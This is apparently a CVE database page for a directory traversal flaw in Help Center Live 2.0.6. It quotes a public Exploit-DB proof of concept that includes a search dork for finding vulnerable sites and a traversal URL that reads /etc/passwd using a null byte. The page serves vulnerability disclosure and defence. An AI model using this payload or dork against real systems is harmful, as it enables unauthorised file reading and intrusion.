CVE-2010-1652
Description
Directory traversal vulnerability in the HelpCenter module in Help Center Live (HCL) 2.0.6 and 2.1.7 allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the file parameter to module.php. NOTE: some of these details are obtained from third party information.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Help Center Live 2.0.6 - 'module=helpcenter&file=' Local File Inclusion
# Exploit Title: Help Center Live 2.0.6(module=helpcenter&file=) Local File
Inclusion
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork : inurl:"module=helpcenter"
# Code :
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############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
[+] Exploit
http://example.com/[path]/module.php?module=helpcenter&file=[LFI]
[+] POC :
http://localhost/hcl/module.php?module=helpcenter&file=../../../../../../../../etc/passwd%00
#41.w4r10r mailto:41.w4r10r@andhrahackers.comReferences
- http://packetstormsecurity.org/1004-exploits/helpcenterlive-lfi.txt
- http://secunia.com/advisories/39615
- http://www.exploit-db.com/exploits/12421
- http://www.securityfocus.com/bid/39732
- http://www.vupen.com/english/advisories/2010/1009
- http://packetstormsecurity.org/1004-exploits/helpcenterlive-lfi.txt
- http://secunia.com/advisories/39615
- http://www.exploit-db.com/exploits/12421
- http://www.securityfocus.com/bid/39732
- http://www.vupen.com/english/advisories/2010/1009
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.